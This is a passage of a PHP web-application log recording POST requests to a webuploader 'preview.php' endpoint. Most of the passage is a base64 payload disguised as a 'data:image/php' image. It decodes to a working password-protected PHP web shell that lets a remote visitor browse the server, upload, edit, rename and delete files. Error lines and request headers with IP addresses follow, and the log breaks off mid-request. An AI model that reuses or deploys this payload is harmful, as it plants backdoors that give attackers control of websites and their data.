'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:19:43+08:00 ] 116.213.36.234 POST 59.110.137.245/Public/Admin/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002504s] [吞吐率:399.38req/s] [内存消耗:196.85kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 